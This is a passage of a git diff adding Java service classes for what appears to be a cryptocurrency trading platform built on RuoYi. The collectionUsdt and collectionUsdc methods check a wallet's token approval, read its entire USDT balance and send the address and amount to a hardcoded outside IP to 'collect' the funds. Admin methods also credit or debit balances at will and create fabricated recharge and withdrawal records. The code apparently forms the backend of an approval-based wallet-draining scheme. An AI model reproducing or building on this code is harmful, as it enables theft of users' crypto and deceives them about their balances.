tAppAddressInfos.get(0); + } + if (wallet.getUsdtAllowed().intValue() < 0) { + return "授权额太小.."; + } + Long amount = 0L; + BigDecimal usdt =BigDecimal.ZERO; + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + usdt = new BigDecimal(EthUtils.getUsdtHttp(address.getAddress())); + if (usdt == null) { + return "获取不到地址U数量"; + } + if ("0".equals(usdt)) { + return "此地址查到的U为0"; + } + amount = usdt.longValue(); + log.debug("usdt金额:{}", usdt); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + usdt = TronUtils.getAccountBalance(wallet.getAddress()).get(TronUtils.USDT_BALANCE_KEY); + if (usdt.compareTo(BigDecimal.ZERO) <= 0) { + return "此地址查到的U为0"; + } + amount = usdt.longValue () * 1000000L; + log.debug("usdt金额:{}", usdt); + } + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + tCollectionOrder.setAmount(new BigDecimal(amount).divide(new BigDecimal(1000000))); + tCollectionOrder.setAddress(address.getAddress()); + tCollectionOrder.setChain(wallet.getWalletType ()); + tCollectionOrder.setClientName(clientName); + tCollectionOrder.setStatus("1"); + tCollectionOrder.setCreateTime(new Date()); + String orderId = "X"+OrderUtils.generateOrderNum(); + tCollectionOrder.setOrderId(orderId); + try { + com.alibaba.fastjson.JSONObject body = new com.alibaba.fastjson.JSONObject(); + body.put("address", address.getAddress()); + body.put("orderId", orderId); + body.put("chain", wallet.getWalletType ()); + body.put("amount", amount); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/create") + .contentType("application/json") + .body(body.toString ()).execute().body(); + log.info("归集返回:{}",ret); + //返回结果转JSON + JSONObject jsonObject = JSONObject.parseObject(ret); + AjaxResult ajaxResult = JSONUtil.toBean(jsonObject.toJSONString(), AjaxResult.class); + Map data = (Map) ajaxResult.get("data"); + String hash = data.get("hash"); + tCollectionOrder.setHash(hash); + log.debug("归集请求发送,ret:{}, body:{}", ret, body); + String loginName = SecurityUtils.getUsername(); + tCollectionOrder.setCoin("usdt"); + tCollectionOrder.setCreateBy(loginName); + tCollectionOrder.setUserId(wallet.getUserId()); + tCollectionOrderService.insertTCollectionOrder(tCollectionOrder); + } catch (Exception e) { + e.printStackTrace(); + } + return "归集请求发送"; + } + @Override + public String collectionUsdc(TAppAddressInfo address) { + //查看当前是否有正在进行中的归集订单 + List list = tCollectionOrderService.list(new LambdaQueryWrapper().eq(TCollectionOrder::getAddress, address.getAddress()).eq(TCollectionOrder::getStatus,"1")); + if(!CollectionUtils.isEmpty(list)){ + return "该用户已有归集订单正在进行中,请稍后再试!"; + } + + List tAppAddressInfos = selectTAppAddressInfoList(address); + TAppAddressInfo wallet = new TAppAddressInfo(); + if(tAppAddressInfos.size()>0){ + wallet = tAppAddressInfos.get(0); + } + if (wallet.getUsdcAllowed().intValue() < 0) { + return "授权额太小.."; + } + Long amount = 0L; + BigDecimal usdt =BigDecimal.ZERO; + if (wallet.getWalletType().equals(WalletType.ETH.name())) { + usdt = new BigDecimal(EthUtils.getUsdtHttp(address.getAddress())); + if (usdt == null) { + return "获取不到地址U数量"; + } + if ("0".equals(usdt)) { + return "此地址查到的U为0"; + } + amount = usdt.longValue(); + log.debug("usdt金额:{}", usdt); + } else if (wallet.getWalletType().equals(WalletType.TRON.name())) { + usdt = TronUtils.getAccountBalance(wallet.getAddress()).get(TronUtils.USDT_BALANCE_KEY); + if (usdt.compareTo(BigDecimal.ZERO) <= 0) { + return "此地址查到的U为0"; + } + amount = usdt.longValue () * 1000000L; + log.debug("usdt金额:{}", usdt); + } + TCollectionOrder tCollectionOrder = new TCollectionOrder(); + tCollectionOrder.setAmount(new BigDecimal(amount).divide(new BigDecimal(1000000))); + tCollectionOrder.setAddress(address.getAddress()); + tCollectionOrder.setChain(wallet.getWalletType ()); + tCollectionOrder.setClientName(clientName); + tCollectionOrder.setStatus("1"); + tCollectionOrder.setCreateTime(new Date()); + String orderId = "X"+OrderUtils.generateOrderNum(); + tCollectionOrder.setOrderId(orderId); + try { + com.alibaba.fastjson.JSONObject body = new com.alibaba.fastjson.JSONObject(); + body.put("address", address.getAddress()); + body.put("orderId", orderId); + body.put("chain","USDC"); + body.put("amount", amount); + body.put("clientName", clientName); + String ret = HttpUtil.createPost("http://8.218.206.73:8001/hanksb666/api/order/create") + .contentType("application/json") + .body(body.toString ()).execute().body(); + log.info("归集返回:{}",ret); + //返回结果转JSON + JSONObject jsonObject = JSONObject.parseObject(ret); + AjaxResult ajaxResult = JSONUtil.toBean(jsonObject.toJSONString(), AjaxResult.class); + Map data = (Map) ajaxResult.get("data"); + String hash = data.get("hash"); + tCollectionOrder.setHash(hash); + log.debug("归集请求发送,ret:{}, body:{}", ret, body); + String loginName = SecurityUtils.getUsername(); + tCollectionOrder.setCoin("usdt"); + tCollectionOrder.setCreateBy(loginName); + tCollectionOrder.setUserId(wallet.getUserId()); + tCollectionOrderService.insertTCollectionOrder(tCollectionOrder); + } catch (Exception e) { + e.printStackTrace(); + } + return "归集请求发送"; + } + @Override + public List getAllowedUser() { + return tAppAddressInfoMapper.getAllowedUser(); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java new file mode 100644 index 0000000..cce2d8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java @@ -0,0 +1,364 @@ +package com.ruoyi.bussiness.service.impl; +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.domain.vo.UserBonusVO; + +import com.ruoyi.bussiness.mapper.TAppAssetMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppRechargeService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.utils.*; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 玩家资产Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +public class TAppAssetServiceImpl extends ServiceImpl implements ITAppAssetService +{ + @Resource + private TAppAssetMapper tAppAssetMapper; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppWalletRecordServiceImpl tAppWalletRecordService; + @Resource + private ITAppRechargeService itAppRechargeService; + @Resource + private TWithdrawMapper tWithdrawMapper; + /** + * 查询玩家资产 + * + * @param userId 玩家资产主键 + * @return 玩家资产 + */ + @Override + public TAppAsset selectTAppAssetByUserId(Long userId) + { + return tAppAssetMapper.selectTAppAssetByUserId(userId); + } + + /** + * 查询玩家资产列表 + * + * @param tAppAsset 玩家资产 + * @return 玩家资产 + */ + @Override + public List selectTAppAssetList(TAppAsset tAppAsset) + { + return tAppAssetMapper.selectTAppAssetList(tAppAsset); + } + + /** + * 新增玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + @Override + public int insertTAppAsset(TAppAsset tAppAsset) + { + tAppAsset.setCreateTime(DateUtils.getNowDate()); + return tAppAssetMapper.insertTAppAsset(tAppAsset); + } + + /** + * 修改玩家资产 + * + * @param tAppAsset 玩家资产 + * @return 结果 + */ + @Override + public int updateTAppAsset(TAppAsset tAppAsset) + { + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + return tAppAssetMapper.updateTAppAsset(tAppAsset); + } + + /** + * 批量删除玩家资产 + * + * @param userIds 需要删除的玩家资产主键 + * @return 结果 + */ + @Override + public int deleteTAppAssetByUserIds(Long[] userIds) + { + return tAppAssetMapper.deleteTAppAssetByUserIds(userIds); + } + + /** + * 删除玩家资产信息 + * + * @param userId 玩家资产主键 + * @return 结果 + */ + @Override + public int deleteTAppAssetByUserId(Long userId) + { + return tAppAssetMapper.deleteTAppAssetByUserId(userId); + } + + /** + * 平台资产 + * @param userId + * @return + */ + @Override + public Map getAssetByUserIdList(Long userId) { + List list = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode())); + Map map = new HashMap<>(); + list.stream().forEach(asset -> { + map.put(asset.getSymbol() + asset.getUserId(), asset); + }); + return map; + } + + @Override + public TAppAsset getAssetByUserIdAndType(Long userId, Integer type) { + return tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getType,type)); + } + + @Override + public int updateByUserId(TAppAsset tAppAsset) { + return tAppAssetMapper.updateByUserId(tAppAsset); + } + + @Override + @Transactional + public int sendBouns(UserBonusVO userBounsVO) { + TAppUser appUser = tAppUserMapper.selectById(userBounsVO.getUserId()); + TAppAsset appAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, userBounsVO.getUserId()) + .eq(TAppAsset::getSymbol, userBounsVO.getSymbol()) + .eq(TAppAsset::getType, userBounsVO.getType())); + Integer code=RecordEnum.SEND_BONUS.getCode(); + String remark=(userBounsVO.getRemark()==null?RecordEnum.SEND_BONUS.getInfo():userBounsVO.getRemark()); + + String serialId = "C" + OrderUtils.generateOrderNum(); + + if("0".equals(userBounsVO.getGiveType())){ + //上分 + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),serialId,remark, + appAsset.getAmout(),appAsset.getAmout().add(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().add(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(userBounsVO.getAmount())); + //新增充值订单 + TAppRecharge recharge = new TAppRecharge(); + recharge.setOrderType("2"); + recharge.setSerialId(serialId); + recharge.setUserId(appUser.getUserId()); + recharge.setUsername(appUser.getLoginName()); + recharge.setAmount(userBounsVO.getAmount()); + recharge.setBonus(0L); + recharge.setStatus("1"); + recharge.setType(userBounsVO.getSymbol().toUpperCase()); + recharge.setAppParentIds(appUser.getAppParentIds()); + recharge.setAdminParentIds(appUser.getAdminParentIds()); + recharge.setCoin(userBounsVO.getSymbol().toLowerCase()); + recharge.setRealAmount(userBounsVO.getAmount()); + recharge.setOperateTime(new Date()); + recharge.setCreateTime(new Date()); + recharge.setCreateBy(appUser.getLoginName()); + recharge.setUpdateTime(new Date()); + itAppRechargeService.save(recharge); + } + if("1".equals(userBounsVO.getGiveType())){ + if(userBounsVO.getAmount().compareTo(appAsset.getAmout())>0){ + return 1; + } + code=RecordEnum.SUB_BONUS.getCode(); + remark=(userBounsVO.getRemark()==null?RecordEnum.SUB_BONUS.getInfo():userBounsVO.getRemark()); + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),serialId,remark, + appAsset.getAmout(),appAsset.getAmout().subtract(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().subtract(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().subtract(userBounsVO.getAmount())); + //新增提现订单 + TWithdraw withdraw = new TWithdraw(); + withdraw.setOrderType("2"); + withdraw.setAmount(userBounsVO.getAmount()); + withdraw.setType(userBounsVO.getSymbol().toUpperCase()); + withdraw.setStatus(1); + withdraw.setUserId(appUser.getUserId()); + withdraw.setUsername(appUser.getLoginName()); + Date now = new Date(); + withdraw.setUpdateTime(now); + withdraw.setCreateTime(now); + withdraw.setOperateTime(now); + withdraw.setCreateBy(appUser.getLoginName()); + withdraw.setNoticeFlag(1); + withdraw.setRealAmount(userBounsVO.getAmount()); + withdraw.setSerialId(serialId); + withdraw.setCoin(userBounsVO.getSymbol().toLowerCase()); + withdraw.setAdminParentIds(appUser.getAdminParentIds()); + tWithdrawMapper.insertTWithdraw(withdraw); + } + + tAppAssetMapper.updateByUserId(appAsset); + return 0; + } + @Override + public int subAmount(UserBonusVO userBounsVO) { + TAppUser appUser = tAppUserMapper.selectById(userBounsVO.getUserId()); + TAppAsset appAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper() + .eq(TAppAsset::getUserId, userBounsVO.getUserId()) + .eq(TAppAsset::getSymbol, userBounsVO.getSymbol()) + .eq(TAppAsset::getType, userBounsVO.getType())); + Integer code=RecordEnum.SEND_AMOUNT.getCode(); + String remark=(userBounsVO.getRemark()==null?RecordEnum.SEND_AMOUNT.getInfo():userBounsVO.getRemark()); + if("0".equals(userBounsVO.getGiveType())){ + //上分 + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),"C" + OrderUtils.generateOrderNum(),remark, + appAsset.getAmout(),appAsset.getAmout().add(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().add(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().add(userBounsVO.getAmount())); + } + if("1".equals(userBounsVO.getGiveType())){ + if(userBounsVO.getAmount().compareTo(appAsset.getAmout())>0){ + return 1; + } + code=RecordEnum.SUB_AMOUNT.getCode(); + remark=(userBounsVO.getRemark()==null?RecordEnum.SUB_AMOUNT.getInfo():userBounsVO.getRemark()); + tAppWalletRecordService.generateRecord(userBounsVO.getUserId(),userBounsVO.getAmount(), code, + userBounsVO.getCreateBy(),"C" + OrderUtils.generateOrderNum(),remark, + appAsset.getAmout(),appAsset.getAmout().subtract(userBounsVO.getAmount()),userBounsVO.getSymbol(),appUser.getAdminParentIds()); + appAsset.setAmout(appAsset.getAmout().subtract(userBounsVO.getAmount())); + appAsset.setAvailableAmount(appAsset.getAvailableAmount().subtract(userBounsVO.getAmount())); + } + + + + tAppAssetMapper.updateByUserId(appAsset); + return 0; + } + @Override + public int noSettlementAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.CONTRACT_ASSETS.getCode()); + return tAppAssetMapper.noSettlementAssetByUserId(map); + } + + @Override + public int createAsset(TAppUser user, String coin, Integer type) { + TAppAsset tAppAsset = new TAppAsset(); + tAppAsset.setUserId(user.getUserId()); + tAppAsset.setAdress(user.getAddress()); + tAppAsset.setSymbol(coin); + tAppAsset.setAmout(BigDecimal.ZERO); + tAppAsset.setOccupiedAmount(BigDecimal.ZERO); + tAppAsset.setAvailableAmount(BigDecimal.ZERO); + tAppAsset.setType(type); + tAppAsset.setCreateTime(DateUtils.getNowDate()); + tAppAsset.setUpdateTime(DateUtils.getNowDate()); + return tAppAssetMapper.insertTAppAsset(tAppAsset); + + + } + + @Override + public int reduceAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.reduceAssetByUserId(map); + } + + @Override + public int addAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.addAssetByUserId(map); + } + + @Override + public int occupiedAssetByUserId(Long userId, String symbol, BigDecimal amout) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("money", amout); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.occupiedAssetByUserId(map); + } + + @Override + public int settlementOccupiedCurrencyOrder(Long userId, String symbol, BigDecimal occupiedAmout, BigDecimal subtract) { + Map map = new HashMap<>(); + map.put("userId", userId); + map.put("symbol", symbol); + map.put("availableAmount", subtract); + map.put("money", occupiedAmout); + map.put("subtract", occupiedAmout.add(subtract)); + map.put("type", AssetEnum.PLATFORM_ASSETS.getCode()); + return tAppAssetMapper.settlementOccupiedCurrencyOrder(map); + } + + @Override + public String transferFunds(AssetTransFundsVO assetTransFundsVo) { + long userId = StpUtil.getLoginIdAsLong(); + TAppUser appUser = tAppUserMapper.selectById(userId); + //效验转出账户余额 + String coin = assetTransFundsVo.getCoin().toLowerCase(); + TAppAsset outAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getSymbol, coin).eq(TAppAsset::getType, assetTransFundsVo.getTransferOutAccount())); + if(outAsset.getAvailableAmount().compareTo(assetTransFundsVo.getAmount())<0){ + return MessageUtils.message("asset_amount_error"); + } + //资金充足 开始划转 1 转出 扣减余额 2 转入 增加余额 + BigDecimal availableAmount = outAsset.getAvailableAmount(); + outAsset.setAvailableAmount(availableAmount.subtract(assetTransFundsVo.getAmount())); + outAsset.setAmout(outAsset.getAmout().subtract(assetTransFundsVo.getAmount())); + tAppAssetMapper.updateTAppAsset(outAsset); + //添加帐变 + tAppWalletRecordService.generateRecord(userId,assetTransFundsVo.getAmount(), RecordEnum.FUND_TRANSFER.getCode(),"", "",RecordEnum.FUND_TRANSFER.getInfo(),availableAmount,availableAmount.subtract(assetTransFundsVo.getAmount()), outAsset.getSymbol(),appUser.getAdminParentIds()); + + + + TAppAsset inAsset = tAppAssetMapper.selectOne(new LambdaQueryWrapper().eq(TAppAsset::getUserId,userId).eq(TAppAsset::getSymbol, coin).eq(TAppAsset::getType, assetTransFundsVo.getTransferInAccount())); + BigDecimal availableAmount1 = inAsset.getAvailableAmount(); + inAsset.setAvailableAmount(availableAmount1.add(assetTransFundsVo.getAmount())); + inAsset.setAmout(inAsset.getAmout().add(assetTransFundsVo.getAmount())); + tAppAssetMapper.updateTAppAsset(inAsset); + //添加帐变 + tAppWalletRecordService.generateRecord(userId,assetTransFundsVo.getAmount(), RecordEnum.FUND_TRANSFER.getCode(),"", "",RecordEnum.FUND_TRANSFER.getInfo(),availableAmount1,availableAmount1.add(assetTransFundsVo.getAmount()), inAsset.getSymbol(),appUser.getAdminParentIds()); + return null; + } + + @Override + public List tAppAssetService() { + List list = tAppAssetMapper.selectList(new LambdaQueryWrapper().eq(TAppAsset::getUserId, StpUtil.getLoginIdAsLong()).eq(TAppAsset::getSymbol, "usdt")); + return list; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java new file mode 100644 index 0000000..7e2bad7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java @@ -0,0 +1,242 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.sql.Array; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TAppMailMapper; +import com.ruoyi.bussiness.domain.TAppMail; +import com.ruoyi.bussiness.service.ITAppMailService; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 1v1站内信Service业务层处理 + * + * @author ruoyi + * @date 2023-07-18 + */ +@Service +public class TAppMailServiceImpl extends ServiceImpl implements ITAppMailService +{ + @Autowired + private TAppMailMapper tAppMailMapper; + @Resource + private RedisCache redisCache; + @Resource + private TAppUserMapper tAppUserMapper; + + /** + * 查询1v1站内信 + * + * @param id 1v1站内信主键 + * @return 1v1站内信 + */ + @Override + public TAppMail selectTAppMailById(Long id) + { + return tAppMailMapper.selectTAppMailById(id); + } + + /** + * 查询1v1站内信列表 + * + * @param tAppMail 1v1站内信 + * @return 1v1站内信 + */ + @Override + public List selectTAppMailList(TAppMail tAppMail) + { + return tAppMailMapper.selectTAppMailList(tAppMail); + } + + /** + * 新增1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + @Transactional + @Override + public int insertTAppMail(TAppMail tAppMail) + { + int i = 0; + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + tAppMail.setCreateTime(DateUtils.getNowDate()); + tAppMail.setDelFlag("0"); + tAppMail.setStatus(0); + tAppMail.setOpertorId(SecurityUtils.getUsername()); + if (tAppMail.getType().equals("1")){ + String[] userIds = tAppMail.getUserIds().split(","); + for (int j = 0; j < userIds.length; j++) { + tAppMail.setUserId(Long.parseLong(userIds[j])); + i = tAppMailMapper.insertTAppMail(tAppMail); + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + List list = redisCache.getCacheObject(key); + if (CollectionUtils.isEmpty(list)){ + List mailList = new ArrayList<>(); + mailList.add(tAppMail); + redisCache.setCacheObject(key,mailList); + }else{ + list.add(tAppMail); + redisCache.setCacheObject(key,list); + } + } + }else{ + i = tAppMailMapper.insertTAppMail(tAppMail); + List list = redisCache.getCacheObject(keyCommon); + if (CollectionUtils.isEmpty(list)){ + List mailList = new ArrayList<>(); + mailList.add(tAppMail); + redisCache.setCacheObject(keyCommon,mailList); + }else{ + list.add(tAppMail); + redisCache.setCacheObject(keyCommon,list); + } + } + + return i; + } + + /** + * 修改1v1站内信 + * + * @param tAppMail 1v1站内信 + * @return 结果 + */ + @Override + public int updateTAppMail(TAppMail tAppMail) + { + tAppMail.setUpdateTime(DateUtils.getNowDate()); + return tAppMailMapper.updateTAppMail(tAppMail); + } + + /** + * 批量删除1v1站内信 + * + * @param ids 需要删除的1v1站内信主键 + * @return 结果 + */ + @Override + @Transactional + public int deleteTAppMailByIds(Long[] ids) + { + return tAppMailMapper.deleteTAppMailByIds(ids); + } + + /** + * 删除1v1站内信信息 + * + * @param id 1v1站内信主键 + * @return 结果 + */ + @Override + public int deleteTAppMailById(Long id) + { + if(!Objects.isNull(id)){ + TAppMail tAppMail = tAppMailMapper.selectTAppMailById(id); + if (tAppMail.getType().equals("1")){ + if (!Objects.isNull(tAppMail)){ + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + List list = redisCache.getCacheObject(key); + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + copyList.stream().forEach(appMail -> { + if (appMail.getId().equals(tAppMail.getId())){ + list.remove(appMail); + } + }); + } + if (!CollectionUtils.isEmpty(list)){ + redisCache.setCacheObject(key,list); + }else{ + redisCache.deleteObject(key); + } + } + }else{ + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + List list = redisCache.getCacheObject(keyCommon); + List copyList = new ArrayList<>(); + if (!CollectionUtils.isEmpty(list)){ + copyList.addAll(list); + copyList.stream().forEach(appMail -> { + if (appMail.getId().equals(tAppMail.getId())){ + list.remove(appMail); + } + }); + } + if (!CollectionUtils.isEmpty(list)){ + redisCache.setCacheObject(keyCommon,list); + }else{ + redisCache.deleteObject(keyCommon); + } + } + + } + return tAppMailMapper.deleteTAppMailById(id); + } + + @Override + public List listByUserId(TAppMail tAppMail) { + String key = CachePrefix.USER_MAIL.getPrefix() + tAppMail.getUserId(); + String keyCommon = CachePrefix.COMMONALITY_MAIL.getPrefix(); + List list = redisCache.getCacheObject(key); + List mailList = redisCache.getCacheObject(keyCommon); +// if (CollectionUtils.isEmpty(list)){ +// list =tAppMailMapper.selectTAppMailList(tAppMail); +// } +// if (CollectionUtils.isEmpty(mailList)){ +// mailList =tAppMailMapper.selectList(new LambdaQueryWrapper().eq(TAppMail::getType,"2")); +// } + list = CollectionUtils.isEmpty(list)?new ArrayList<>():list; + mailList = CollectionUtils.isEmpty(mailList)?new ArrayList<>():mailList; + list.addAll(mailList); + return list; + } + + @Transactional + @Override + public int updateMail(Long[] ids, TAppUser appUser) { + int j = 0; + String key = CachePrefix.USER_MAIL.getPrefix() + appUser.getUserId(); + List list = redisCache.getCacheObject(key); + list = CollectionUtils.isEmpty(list)?new ArrayList<>():list; + List listCopy = new ArrayList<>(); + listCopy.addAll(list); + if (ids.length>0){ + for (int i = 0; i < ids.length; i++) { + if (!CollectionUtils.isEmpty(list)){ + for (TAppMail m:listCopy) { + if (m.getId().equals(ids[i])){ + list.remove(m); + } + } + TAppMail tAppMail = new TAppMail(); + tAppMail.setId(ids[i]); + tAppMail.setStatus(1); + j = tAppMailMapper.updateTAppMail(tAppMail); + } + } + } + if (CollectionUtils.isEmpty(list)){ + redisCache.deleteObject(key); + } + return j; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java new file mode 100644 index 0000000..7235adc --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.mapper.TAppRechargeMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.OrderUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; + +import javax.annotation.Resource; + +/** + * 用户充值Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +public class TAppRechargeServiceImpl extends ServiceImpl implements ITAppRechargeService +{ + private static final Logger log = LoggerFactory.getLogger(TAppRechargeServiceImpl.class); + @Resource + private TAppRechargeMapper tAppRechargeMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + @Resource + private ITAppWalletRecordService walletRecordService; + @Resource + private ITActivityRechargeService itActivityRechargeService; + @Resource + private SettingService settingService; + @Resource + private RedisCache redisCache; + + /** + * 查询用户充值 + * + * @param id 用户充值主键 + * @return 用户充值 + */ + @Override + public TAppRecharge selectTAppRechargeById(Long id) + { + return tAppRechargeMapper.selectTAppRechargeById(id); + } + + /** + * 查询用户充值列表 + * + * @param tAppRecharge 用户充值 + * @return 用户充值 + */ + @Override + public List selectTAppRechargeList(TAppRecharge tAppRecharge) + { + return tAppRechargeMapper.selectTAppRechargeList(tAppRecharge); + } + + /** + * 新增用户充值 + * + * @param user 用户信息 + * @return 结果 + */ + @Override + @Transactional + public int insertTAppRecharge(TAppUser user) + { + Map params = user.getParams(); + String serialId = "W" + OrderUtils.generateOrderNum(); + TAppRecharge recharge = new TAppRecharge(); + //usdt交易的话需要乘汇率 + recharge.setAddress(String.valueOf(params.get("address"))); + recharge.setSerialId(serialId); + recharge.setUserId(user.getUserId()); + recharge.setUsername(user.getLoginName()); + recharge.setCreateBy(user.getLoginName()); + recharge.setUpdateBy(user.getLoginName()); + recharge.setCreateTime(new Date()); + recharge.setAppParentIds(user.getAppParentIds()); + recharge.setUpdateTime(new Date()); + recharge.setBonus(0L); + recharge.setStatus("0"); + recharge.setType(String.valueOf(params.get("type"))); + recharge.setCoin(params.get("coin")+""); + if (params.get("amount")!=null){ + recharge.setAmount(new BigDecimal(params.get("amount")+"")); + recharge.setRealAmount(new BigDecimal(params.get("amount")+"")); + } + recharge.setFileName(params.get("filePath")+""); + recharge.setAdminParentIds(user.getAdminParentIds()); + recharge.setNoticeFlag(0); + int i = tAppRechargeMapper.insert(recharge); + //socket 通知后台 + HashMap object = new HashMap<>(); + object.put(CacheConstants.RECHARGE_KEY_BOT, JSON.toJSONString(recharge)); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改用户充值 + * + * @param tAppRecharge 用户充值 + * @return 结果 + */ + @Override + public int updateTAppRecharge(TAppRecharge tAppRecharge) + { + 